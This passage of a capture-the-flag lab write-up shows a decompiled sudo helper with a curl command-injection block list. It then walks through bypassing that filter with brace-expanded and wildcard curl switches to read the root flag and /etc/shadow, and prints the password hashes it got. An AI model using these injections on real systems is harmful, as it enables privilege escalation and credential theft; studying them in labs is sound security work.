files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list))
print('ALL THE THREAT REPORTS:')
print(files_in_dir)
def read_file(self):
Unsupported opcode: <255>
file_name = input('\nEnter the filename:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
contents = ''
file_name = '/root/reports/' + file_name
# WARNING: Decompyle incomplete
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = [
'$',
'`',
';',
'&',
'|',
'||',
'>',
'<',
'?',
"'",
'@',
'#',
'$',
'%',
'^',
'(',
')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
current_time + '"'
os.system(cmd)

Looking at the code, we can see a command is being called to download reports. It is using curl command to do that. It has also filter in place to protect from injection attacks. We can’t possibly run bash commands to gain shell, we have to use curl flags or switches to read either root flag or SSH private keys.

1
2
3
4
5
6
7
8
9
10
11
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:{--config,/root/root.txt}
Warning: /root/root.txt:1: warning: '83073a2469b47c0e6c08b421a6aa8539' is
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information

or

1
2
3
4
5
6
7
Enter your choice:3
Enter the IP/file_name:{-K,/root/root.txt}
Warning: /root/root.txt:1: warning: '83073a2469b47c0e6c08b421a6aa8539' is
Warning: unknown
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
Enter your choice:

or use the following to get root flag and /etc/shadow together…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
code@code:~$ cd $(mktemp --directory)
code@code:/tmp/tmp.cg0X17Nhmm$ touch -- 127.0.0.1 --silent --create-dirs
code@code:/tmp/tmp.cg0X17Nhmm$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:3
Enter the IP/file_name:*
Enter your choice:3
Enter the IP/file_name:File:///root/root.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 33 100 33 0 0 33000 0 --:--:-- --:--:-- --:--:-- 33000

Enter your choice:3
Enter the IP/file_name:File:///etc/shadow
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1183 100 1183 0 0 1155k 0 --:--:-- --:--:-- --:--:-- 1155k
Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_15_45_38 threat_report_15_44_36 threat_report_15_44_56

Enter the filename:threat_report_15_45_38
root:$6$XbmQqbMSJS0PISos$fHZLEpIBtbsRd2ltGIYSJPfmIYYyLKxx9iUiPdcBGsrp8STgHopWnoZ1WKXgrwc1d81idPRJxICovSXGUF.we/:18799:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18799:0:99999:7:::
sshd:*:18799:0:99999:7:::
systemd-coredump:!!:18799::::::
lxd:!:18799::::::
mysql:!:18799:0:99999:7:::
code:$6$tdOqUgDnt8lqOmpk$Y5JZc.PspT2gkpp6LqWHUElepUmZerkVmSB8XV9Oss2zgmzO8cvNUyo4AGjfkbaRO34mV3leNx5HPvgtXSlrv.:18799:0:99999:7:::

Enter your choice:2
ALL THE THREAT REPORTS:
threat_report_15_45_38 threat_report_15_44_36 threat_report_15_44_56

Enter the filename:threat_report_15_44_56
83073a2469b47c0e6c08b421a6aa8539

As you can see from the command injection list ‘curly brackets’ are not being filtered, we take advantage of that to pass curl config switch to expose root flag.This curl switch actually can’t read the files, but the functionality of that is, if the text file is not in curl Standard format then it just prints out all the content of that given file. I got SSH private keys, but the SSH configuration only accepts password for authentication, not keys.

Summary of knowledge

  • jwt token forge by using https://jwt.io and https://mkjwk.org/
  • off-by-slash bug redirect to our local machine
  • file read bypass by using Unicode normalization
  • fuzzing file read arg to get db.yaml file content
  • using pycdc to decompile .pyc file to readable file
  • command injection list words bypass
  • privesc through /usr/bin/treport by using curl command injection attacks

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…